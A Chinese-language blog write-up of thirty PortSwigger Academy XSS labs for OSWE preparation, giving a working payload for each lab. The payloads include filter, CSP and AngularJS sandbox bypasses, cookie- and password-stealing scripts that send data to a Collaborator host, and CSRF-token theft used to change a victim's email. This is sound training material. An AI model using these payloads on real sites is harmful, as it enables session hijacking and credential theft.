OSWE PortSwigger XSS Write-up

本文最后更新于 2026年4月21日 上午

PortSwigger 是一家专注于 Web 应用安全研究与工具开发的知名安全厂商,其核心产品 Burp Suite 被广泛应用于渗透测试、漏洞挖掘及安全研究等领域,是当前 Web 安全测试中最主流的工具之一。

除了工具产品外,PortSwigger 还推出了 Web Security Academy,该平台提供大量免费且高质量的在线实验环境(Labs),覆盖 SQL 注入、XSS、身份认证绕过、访问控制缺陷等主流 Web 漏洞类型。每个实验均配有详细的知识讲解与实战场景,能够帮助学习者在真实环境中理解漏洞原理并掌握利用方法。

对于备考 OSWE 等高级安全认证的学习者而言,PortSwigger Academy 不仅是入门 Web 安全的优质平台,同时也是提升漏洞挖掘与代码审计能力的重要训练场景,具有较强的实战价值与体系化学习意义。

1
2
# 注册账号后可免费学习
https://portswigger.net/web-security

实验一:反射型 XSS(未经编码处理)

提示: 搜索功能存在反射型 XSS 漏洞。由于输入内容会未经编码直接回显到 HTML 上下文中,因此可构造脚本触发 alert() 完成实验。

搜索框输入 XSS 弹窗代码。

1
<script>alert('xss')</script>

实验二:存储型 XSS(未经编码处理)

提示: 评论功能存在存储型 XSS 漏洞。评论内容会被保存并在查看博客文章时回显到页面中,且未经过编码处理,因此可提交包含 alert() 的脚本,在文章页面加载评论时触发弹窗,完成实验。

找到任意一个评论功能,输入 XSS 弹窗代码。

1
<script>alert('xss')</script>

实验三:DOM 型 XSS(document.write)

提示: 搜索查询跟踪功能存在基于 DOM 的 XSS 漏洞。页面使用 document.writelocation.search 中的数据直接写入页面,且未进行安全处理,因此可通过构造 URL 参数注入脚本并触发 alert(),完成实验。

与反射型和存储型不太一样,DOM 型需要查看页面执行脚本构建 payload,点击检查,定位到搜索元素,在下方会定义一个 javascript 脚本,该脚本定义了一个 trackSearch 函数,并在下方执行了该函数,通过 search 传入 query 参数,最后将 query 内容直接传入 document.write 执行,未进行任何过滤,只需要将 img 标签闭合,即可触发 XSS 弹窗。

1
2
3
4
5
6
# 函数主要执行了 document.write
# 可向文档写入文本内容,可以是 HTML 代码。
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');

# 闭合 img 标签即可触发后续的 XSS 代码
"><script>alert('xss')</script>

实验四:DOM 型 XSS (innerHTML)

提示: 搜索博客功能存在基于 DOM 的 XSS 漏洞。页面通过 innerHTML 使用 location.search 中的数据修改 div 元素的 HTML 内容,且未进行安全处理,因此可通过构造 URL 参数注入脚本并触发 alert(),完成实验。

1
2
3
# 函数主要执行了 document.getElementById().innerHTML
# innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。
document.getElementById('searchMessage').innerHTML = query;

当测试输入 1,查看页面源码,发现它被 span 标签包裹,此时直接使用 script 语句是无法触发 XSS 的,需要通过 img 标签事件触发。

1
<img src=1 onerror=alert('xss')>

解释: 页面通过 innerHTML 将输入内容插入到 DOM 中。虽然 <script> 标签会被写入页面结构,但通常不会自动执行,因此需要构造可触发事件的 HTML 标签,并通过事件处理函数执行 alert() 完成实验。

实验五:DOM 型 XSS(href 属性)

提示: 反馈提交页面存在基于 DOM 的 XSS 漏洞。页面使用 jQuery 的 $ 选择器获取锚点元素,并将 location.search 中的数据写入其 href 属性。可通过构造 javascript: 协议控制 Back 链接,使其在点击时执行 alert(document.cookie),完成实验。

这道题考查点击触发 DOM 型 XSS,找到提交评论的页面,检查源码在返回按钮下方可发现一个 function 函数,由于它通过 $ 符号包裹,意味着它会自动运行函数。

1
2
3
# $(function(){}) 会自动执行
# URLSearchParams(window.location.search)).get('returnPath') 获取 URL returnPath值
# 然后将值赋予到 id 为 backLink 标签的 href 值中

将 URL returnPath 值赋予获取网站 Cookie 的 XSS 代码,当点击 back 即可触发。

1
2
# 当点击这个链接时,先执行 javascript 脚本
javascript:alert(document.cookie)

注意: 此时无法通过闭合 href 标签直接执行 XSS 代码,主要由于当前自动运行的函数将输入的内容赋值给了 href。

实验六:DOM 型 XSS(hashchange)

提示: 首页存在基于 DOM 的 XSS 漏洞。页面使用 jQuery 的 $() 选择器处理 location.hash 中的数据,并在 hashchange 事件触发时根据该值定位文章标题。可通过构造恶意片段标识并诱导受害者访问,使页面在处理该值时执行 print(),完成实验。

找到页面源码执行的 script 脚本位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 浏览器窗口绑定一个 hashchange 事件
$(window).on('hashchange', function(){

# 该字符串是 URL 的锚部分(从# 号开始的部分)
window.location.hash

# 去掉 # 后的部分
window.location.hash.slice(1)

# section.blog-list:找到 class 为 blog-list 的 <section>
# h2:再在这个区域里找所有 <h2>
# :contains(...):筛选出文本内容里包含括号内字符串的 <h2>
# 意思就是在博客搜索包含#后内容的 h2 标题
$('section.blog-list h2:contains(' + 用户输入 + ')')

# 一旦找到就会滚动到当前位置
if (post) post.get(0).scrollIntoView();

该漏洞点绑定在 hashchange 事件上,因此通常需要在页面加载完成后再修改 URL 片段,才能触发后续的 jQuery 选择器处理逻

1
https://0a3c0066030dee57804d94fd003800bb.web-security-academy.net/#<img src=x onerror=print()>

但是要完成该实验室需要借助环境提供的 exploit server。

1
2
3
#  iframe 标签会在页面加载完成后再去家在 src 链接资源
# 这样就满足了 payload 执行逻辑
<iframe src="https://0a7b00d304efe9a983462980005d00b0.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

实验七:反射型 XSS(HTML 编码尖括号属性)

提示: 搜索功能存在反射型 XSS 漏洞。用户输入会回显到 HTML 属性中,虽然尖括号被进行了 HTML 编码,但仍可通过构造新的属性并绑定事件处理函数,调用 alert() 完成实验。

搜索的内容被拼接到搜索筐内,可插入 HTML 事件处理属性实现 XSS 攻击。

1
2
# 当鼠标移动到搜索框触发弹窗
"onmouseover="alert(1)

除了鼠标悬停触发还有一个其他 HTML 事件处理属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 鼠标相关
onclick:点击时触发
ondblclick:双击时触发
onmousedown:按下鼠标时触发
onmouseup:松开鼠标时触发
onmousemove:鼠标移动时触发
onmouseenter:鼠标移入时触发
onmouseleave:鼠标移出时触发
onmouseout:鼠标离开元素时触发

# 键盘相关
onkeydown:按下按键时触发
onkeyup:松开按键时触发
onkeypress:按键输入时触发

# 表单相关
onfocus:获取焦点时触发
onblur:失去焦点时触发
onchange:内容变化后触发
oninput:输入时触发
onsubmit:提交表单时触发

# 加载与错误相关
onload:元素加载完成时触发
onerror:加载出错时触发

实验八:存储型 XSS(双引号被 HTML 编码)

提示: 评论功能存在存储型 XSS 漏洞。评论作者姓名对应的链接地址会被写入锚点的 href 属性中,虽然双引号被进行了 HTML 编码,但仍可通过构造 javascript: 伪协议,在用户点击评论作者姓名时调用 alert(),完成实验。

找到评论功能,用户的网站被插入到 href 属性中,由于当前无法闭合双引号,可插入 javascript 执行 XSS。

1
javascript:alert(1)

实验九:反射型 XSS(尖括号被 HTML 编码)

提示: 搜索查询跟踪功能存在反射型 XSS 漏洞。用户输入会回显到 JavaScript 字符串中,虽然尖括号被进行了 HTML 编码,但仍可通过构造输入突破字符串上下文并执行 alert(),完成实验。

审查页面源码,发现有一个 javascript 代码,他会接受搜索时传递的值,将其赋值到 searchTerms 变量,然后 将其拼接到 img 标签,这里无法输入尖括号尝试闭合,但是程序没有过滤输入的单引号,单引号会导致 var 语句错误,可以在单引号中插入 alert 语句完成实验。

1
2
# 闭合前后的单引号 执行 alert,或者 '-alert(1)-'
';alert(2);'

实验十:DOM 型 XSS(document.write + select 元素)

提示: 股票查询功能存在基于 DOM 的 XSS 漏洞。页面使用 document.writelocation.search 中的可控数据写入 select 元素中,因此可通过构造输入跳出 select 上下文并执行 alert(),完成实验。

点击商品详情页面,页面可下拉查询商品库存数量,查看页面源码,发现一个 script 脚本内容,脚本接受 URL 的 storeId 参数,然后将其直接插入到页面源码,可通过该参数插入 XSS payload。

1
2
# 通过 storeId 参数执行 XSS 攻击
https://0add00a8035d958580ed30fc00c400c3.web-security-academy.net/product?productId=1&storeId=</select><img src=1 onerror=alert(1)>

实验十一:DOM 型 XSS(AngularJS 表达式

提示: 搜索功能存在基于 DOM 的 XSS 漏洞。页面在 AngularJS 表达式上下文中处理用户输入,虽然尖括号和双引号被进行了 HTML 编码,但仍可通过构造双花括号表达式执行代码并调用 alert(),完成实验。

Web 应用使用了 AngularJS 1.7.7 JavaScript 库,该版本存在漏洞可造成 XSS。

执行已知 payload 可触发 XSS 漏洞。

1
{{$on.constructor('alert(1)')()}}

实验十二:反射性 DOM XSS

提示: 本实验存在反射型 DOM XSS 漏洞。请求中的输入会先被服务器处理并回显到响应页面中,随后页面脚本又对这些回显数据进行了不安全处理,并将其写入危险 sink。构造可执行 alert() 的注入语句即可完成实验。

查看页面源码,发现加载过程会引用 searchResults.js 脚本,之后调用 search('search-results') 函数,根据函数名称判断该脚本是用于返回搜索结果,通过源码可找到具体代码。

searchResults.js 脚本执行过程会调用 eval 函数,该函数会把请求响应结果赋值给 searchResultsObj 变量,请求是通过 GET 方法访问传入 path 和 搜索值的拼接。

由于 eval 会直接将请求响应的结果赋值给 searchResultsObj 变量,而且输出结果有一项我们是可控的。

可尝试将表达式逃逸出来执行 alert 指令,输入双引号会进行转移,可以提前输入一个转移字符进行绕过。

继续构建 payload,首先将 json 语句闭合,然后注释之后的代码,实现 XSS。

1
\"};alert(1)//

实验十三:存储型 DOM XSS

提示: 评论功能存在存储型 DOM XSS 漏洞。用户提交的评论内容会被服务器存储,并在后续页面加载时由前端脚本以不安全的方式处理,最终写入危险 sink,从而触发 alert(),完成实验。

和反射型 XSS 类型,找到评论功能区,检索源码发现页面加载了 loadCommentsWithVulnerableEscapeHtml.js 脚本,并通过 loadComments('/post/comment') 调用。

找到脚本源码。

与反射 DOM 型 XSS 有所不同,这里使用了 let 定义变量,且通过 JSON.parse 解析响应结果,所以无法通过变量定义执行 XSS。

注释: 这里的逻辑和反射 DOM 型 XSS 一致,都是通过 js 执行获取评论内容,然后将其赋值到变量中。

接下来他通过 replace 替换了左右尖括号,在 js 中 replace 默认只替换第一个字符。

在字符串开头写入两个左右尖括号可避免之后的字符被替换。

接着查看代码,发现提交作者姓名和评论内容时仅通过刚刚定义的 replace 函数做了一次过滤就做了 HTML 解析,可以尝试 XSS 攻击。

构建 payload:

1
2
<><script>alert(2)</script>
<><img src=x onerror=alert(1)>

注意: <script> 报错的 alert 无法执行,因为他是页面加载后通过 DOM 写入到页面的,需要使用 img 标签触发错误执行 alert。

实验十四:反射型 XSS(WAF 过滤绕过)

提示: 搜索功能存在反射型 XSS 漏洞,但常见标签和属性会被 WAF 过滤。可通过构造未被拦截的标签与事件处理方式绕过过滤,并调用 print() 完成实验。

当搜索内容包含 HTML 标签时,服务器会响应 400,复制官方速查表所有标签,然后通过 burp 爆破模块模糊测试。

1
2
# XSS payload 速查表
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

发现只有 body 标签和自定义标签不会被拦截。

除了标签过滤,它还会对属性进行过滤,再次对 body 属性执行模糊测试。

body 标签 onresize 属性不会被拦截,当页面尺寸发生改变该属性的值会被执行,而且该实验需要使用 exploit 平台发送恶意链接,模拟攻击者向受害者发起 XSS 攻击。

构建 payload:

1
2
# 通过 iframe 标签,使用 onload 指定页面尺寸,进而执行 XSS payload
<iframe src="https://0a71009503f4496280d4cb830059003b.web-security-academy.net/?search=<body onresize=print()>" onload="this.style.width='100px'"></iframe>

实验十五:反射型 XSS(仅允许自定义标签)

提示: 搜索功能存在反射型 XSS 漏洞。页面会屏蔽常见 HTML 标签,仅允许自定义标签存在,因此可通过注入自定义标签并结合可自动触发的事件处理方式,调用 alert(document.cookie) 完成实验。

与上个实验相似,标签枚举 -> 属性枚举,发现在自定义标签中没有对属性进行任何过滤。

构造一个自定义标签获取网站 Cookie。

1
2
3
4
5
# tabindex=1 让这个元素可以获得焦点
# autofocus 页面加载时焦点放到这个元素上
# onfocus 元素获得焦点时自动执行代码

<xss tabindex=1 autofocus onfocus=alert(document.cookie)></xss>

在页面测试可正常弹出 Cookie,实验需要通过 exploit 发送,可以通过 script 包裹 location 执行 payload。

1
2
3
<script>
location = "https://0a2e0055039f5fcb81ce16f400bd004d.web-security-academy.net/?search=<xss tabindex=1 autofocus onfocus=alert(document.cookie)></xss>"
</script>

实验十六:反射型 XSS(SVG 标签)

提示: 搜索功能存在反射型 XSS 漏洞。页面对常见 HTML 标签进行了过滤,但部分 SVG 标签及相关事件仍可使用,因此可通过构造 SVG 标签并绑定可执行事件,调用 alert() 完成实验。

使用 burp 进行模糊测试,发现 svg、animatetransform 标签可用。

1
2
# svg:SVG 图形容器
# animateTransform:SVG 动画标签,用于旋转、缩放、平移等变换

模糊测试标签属性时只有 onbegin 属性没有被过滤,作用是当动画开始时,执行后面的 JavaScript。但是该属性不能直接用在 svg 标签,需要嵌套到 animatetransform 中,animatetransform 则需要嵌套到 svg 标签中。

构建 payload:

1
2
# 注意 burp 模糊测试时,animatetransform 后的空格必须 URL 编码
<svg><animatetransform onbegin=alert(1)>

实验十七:反射型 XSS(canonical 链接标签)

提示: 用户输入会反射到页面的 canonical link 标签属性中,虽然尖括号被进行了转义,但仍可通过闭合原有属性并注入新的事件属性完成利用。可结合 accesskey 与事件处理函数构造 payload,在 Chrome 浏览器中通过指定快捷键触发 alert(),完成实验。

改变 URL 参数,页面源码 header <link rel="canonical" 也会发生改变,说明后端会读取 URL 并写入网站前端。

可以构造事件属性,似的浏览器用户输入快捷键触发 XSS。

1
2
# 首先闭合 href
'accesskey='x'onclick='alert(1)

一旦客户端输入快捷指令就会触发 XSS,注意: 仅在谷歌浏览器生效。

1
2
3
# 在Windows系统上:ALT+SHIFT+X
# 在 macOS 系统上:CTRL+OPTION+X
# 在Linux系统上:Alt+X

实验十八:反射型 XSS(JavaScript 字符串中的单引号与反斜杠转义)

提示: 搜索查询跟踪功能存在反射型 XSS 漏洞。用户输入会回显到 JavaScript 字符串中,且其中的单引号与反斜杠会被转义,但仍可通过构造输入突破字符串上下文并执行 alert(),完成实验。

检查网页源码,在搜索位置发现一个 script 标签,标签内的 searchTerms 变量值为搜索传递的参数。

后续通过 document.write 写入 img 标签,并且进行了参数的 URL 编码,所以这里没有办法闭合绕过 img 标签,但可以传入 </script> 闭合前面的 <script> ,然后执行 alert。

1
2
# payload
</script><script>alert(1)</script>

实验十九:反射型 XSS(JavaScript 字符串中的单引号转义)

提示: 搜索查询跟踪功能存在反射型 XSS 漏洞。用户输入会回显到 JavaScript 字符串中,尖括号和双引号会被 HTML 编码,单引号会被反斜杠转义,但反斜杠本身未被处理,因此可通过构造输入突破字符串上下文并执行 alert(),完成实验。

和上一个实验代码一致,依然是通过 script 包裹了一串 javascript 代码,但是它会对左右尖括号做替换。

当传入反斜杠转移字符时,它并没有将输入的转移字符转义,导致输入的单引号逃逸出来,而且可传入注释将后续的代码注释。

构建 payload:

1
2
# 通过转移字符逃逸单引号
\';alert(1)//

实验二十:存储型 XSS(onclick 事件)

提示: 评论功能存在存储型 XSS 漏洞。用户输入会被写入作者名称对应的 onclick 事件中,尖括号和双引号会被 HTML 编码,单引号与反斜杠会被转义,但仍可通过构造输入突破事件处理函数的字符串上下文,在点击评论作者名称时调用 alert(),完成实验。

找到评论功能页面,评论提交的 URL 会以 onclick 的形式写入 HTML,当用户点击评论人姓名会执行 onclick 定义的值。

此时尝试单引号、转移符号均会被转移,可尝试通过 HTML 编码进行绕过。

1
http://foo?&apos;-alert(1)-&apos;

实验二十一:反射型 XSS(模板字面量)

提示: 搜索博客功能存在反射型 XSS 漏洞。用户输入会回显到 JavaScript 模板字面量中,尖括号、单引号和双引号会被 HTML 编码,反引号和反斜杠会被转义,但仍可通过模板字面量表达式突破当前上下文并调用 alert(),完成实验。

查看页面源码,发现搜索执行结果会通过 document.getElementById 赋值,在它之前会传入服务器做一次过滤,这次过滤会禁用转义符号、单引号、双引号等。

通过模版字面量的表达式注入 alert。

1
2
# JavaScript 内部原生支持
${alert(1)}

实验二十二:存储型 XSS(窃取 Cookie)

提示: 博客评论功能存在存储型 XSS 漏洞。攻击者可在评论中注入恶意脚本,当受害者查看评论时,脚本会自动执行并将其会话 Cookie 发送到攻击者可控位置。获取受害者 Cookie 后,将其写入浏览器请求中即可冒充受害者,完成实验。

完成实验需要使用官方的 NDSlog,该功能集成在专业版 burp 中。

找到用户评论区域,系统没有进行任何过滤,能直接执行 XSS。

1
2
# 测试 XSS
<img src=x onerror=alert(1)>

利用官方的 DNSlog 获取管理员 Cookie。

1
2
# 当受害者访问到以下 payload 会将自身 Cookie 发送给 burp
<img src=1 onerror="new Image().src='https://2fijislr8uhl6nanjw1blvwtnktbh15q.oastify.com/?c='+encodeURIComponent(document.cookie)">

1
2
# Cookie
secret=ylvPAnMAosiQHK28wGzRNYdML8jZWKR9; session=e1mGnRnY7jtKbtMkVJt0RyNTQwDaZqY2

利用浏览器插件设置 Cookie 访问。

官方 payload:

1
2
3
4
5
6
7
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

实验二十三:存储型 XSS(窃取密码)

提示: 博客评论功能存在存储型 XSS 漏洞。攻击者可在评论中注入恶意脚本,当受害者查看评论时,脚本会自动执行并窃取其输入的用户名和密码。获取凭据后,使用对应账号密码登录受害者账户即可完成实验。

创建一个 HTML 表单,用于接受受害者提交的用户名密码。

1
2
3
4
5
6
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://2fijislr8uhl6nanjw1blvwtnktbh15q.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

1
2
administrator
l2itb8ctdhj9pmcmevzy

通过 administrator 用户登录网站。

实验二十四:存储型 XSS(绕过 CSRF 防御)

提示: 博客评论功能存在存储型 XSS 漏洞。攻击者可在评论中注入恶意脚本,当用户查看评论时,脚本会自动执行并窃取页面中的 CSRF Token,再利用该 Token 发起修改邮箱请求,从而完成对受害者账户邮箱地址的更改。

已知用户名密码: wiener:peter

检查登录数据包,发现 Cookie 设置了 HttpOnly,说明无法通过 XSS 漏洞获取用户 Cookie 了。

实验室考察通过 XSS 漏洞绕过 CSRF 修改用户邮箱,抓去修改邮箱数据包,修改邮箱请求依赖页面中的 CSRF Token。该 Token 存放在表单隐藏字段中,因此需要先通过 XSS 读取页面中的 csrf 值,再构造修改邮箱请求。

CSRF 值可以在页面源码获得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 构建 payload
<script>
fetch('/my-account')
.then(r => r.text())
.then(html => {
var doc = new DOMParser().parseFromString(html, 'text/html');
var csrf = doc.querySelector('input[name="csrf"]').value;

return fetch('/my-account/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'csrf=' + encodeURIComponent(csrf) + '&email=test%40attacker.com'
});
});
</script>

官方 payload:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

实验二十五:反射型 XSS(AngularJS 沙箱逃逸)

提示: 页面在 AngularJS 表达式上下文中处理用户输入,且 $eval 不可用,同时无法直接使用字符串。可通过构造无需引号的 AngularJS 沙箱逃逸表达式,覆盖关键原型方法后再借助 orderBy 过滤器执行 alert(),完成实验。

程序使用了 AngularJS 框架。前端定义了一个控制器,通过 $parse() 对表达式进行解析并获取对象中的对应值。

输入之前 AngularJS 默认的表达式,页面没有触发 XSS,可能存在沙箱过滤。

程序原本将 key 固定为 search,并通过 $parse(key) 对其进行解析,再从 $scope.query 对象中取出对应的值。我们需要将绕过 AngularJS 沙箱的 payload 写成 GET 请求参数中执行。

1
/?search=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

实验二十六:反射型 XSS(AngularJS 沙箱逃逸 + CSP 绕过)

提示: 页面同时使用了 CSP 和 AngularJS。用户输入会进入 AngularJS 表达式上下文中,需构造能够绕过 CSP 并逃逸 AngularJS 沙箱的表达式,在页面解析时调用 alert(document.cookie),完成实验。

构建 payload:

1
2
3
<script>
location='https://0a4e003a03791a1980906c1b00fa0022.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

实验二十七:反射型 XSS(事件与 href 被阻止)

提示: 页面存在反射型 XSS 漏洞。虽然仅允许部分白名单标签,且事件处理属性与锚点 href 属性均被阻止,但仍可通过构造可点击的利用向量,在用户点击标记为 “Click” 的内容后调用 alert(),完成实验。

1
2
# 示例
<a href="">Click me</a>

通过 svg 标签 animate 属性绕过限制,

1
2
3
4
5
6
7
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

# 解释
# 给当前元素的 href 属性添加一个动画赋值。
<animate attributeName=href values=javascript:alert(1) />
# 点击标签
<text x=20 y=20>Click me</text>

实验二十八:反射型 XSS(JavaScript URL 字符过滤)

提示: 用户输入会反射到 javascript: URL 中,且部分字符被应用程序过滤。可通过构造绕过过滤的 JavaScript URL,在执行时调用 alert(),并使弹窗内容中包含 1337,完成实验。

点击任意 view post,发现返回主页的按钮通过 href 传递了一个 javascript 语句。

该语句除了返回主页还以 POST 向 /analytics 发送当前网站资源路径的请求,主要用于记录点击次数。

构建 payload:

1
2
3
4
5
6
7
8
9
10
11
12
5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

# 满足页面请求不报错
5&
# 闭合函数
'},
# 定义一个全局报错函数,发起 alert 1337,/**/充当空格
x = x => { throw/**/onerror=alert,1337 }
# 强制程序报错
window + ''
# 闭合后面代码
,{x:'

最终 URL:

1
https://0a4700690461f69f8060039f00340079.web-security-academy.net/post?postId=1&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window+%27%27,{x:%27

实验二十九:反射型 XSS(严格 CSP + 悬空标记)

提示: 页面存在反射型 XSS 漏洞,且受严格 CSP 保护,无法通过外部子资源直接完成常规利用。可通过构造悬空标记并结合表单劫持方式,诱导受害者点击包含 “Click” 的利用向量,窃取页面中的 CSRF Token,再利用该 Token 发起修改邮箱请求,将邮箱地址更改为 hacker@evil-user.net

构建 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<body>
<script>
const academyFrontend = "https://0a5600b70441bb5680d60d66002e0020.web-security-academy.net/";
const exploitServer = "https://exploit-0a5d00290407bb6b807c0c5e012a00c5.exploit-server.net/exploit";

const url = new URL(location);
const csrf = url.searchParams.get('csrf');

if (csrf) {
const form = document.createElement('form');
const email = document.createElement('input');
const token = document.createElement('input');

token.name = 'csrf';
token.value = csrf;

email.name = 'email';
email.value = 'hacker@evil-user.net';

form.method = 'post';
form.action = `${academyFrontend}my-account/change-email`;
form.append(email);
form.append(token);
document.documentElement.append(form);
form.submit();
} else {
location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}
</script>
</body>

实验三十:反射型 XSS(CSP 绕过)

提示: 页面存在反射型 XSS 漏洞,并启用了 CSP。虽然常规内联脚本会被策略阻止,但可通过可控的 CSP 参数注入新的策略指令,覆盖原有脚本限制,从而执行内联脚本并调用 alert()。该实验的预期解法仅适用于 Chrome 浏览器。

服务器用户提交的 token 写入了响应头 Content-Security-Policy 中,可注入一个新的 CSP 绕过限制。

构建 Payload:

1
/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSWE PortSwigger XSS Write-up
https://www.f0nesec.top/2026/04/21/oswe-portswigger-xss/
作者
F0ne
发布于
2026年4月21日
许可协议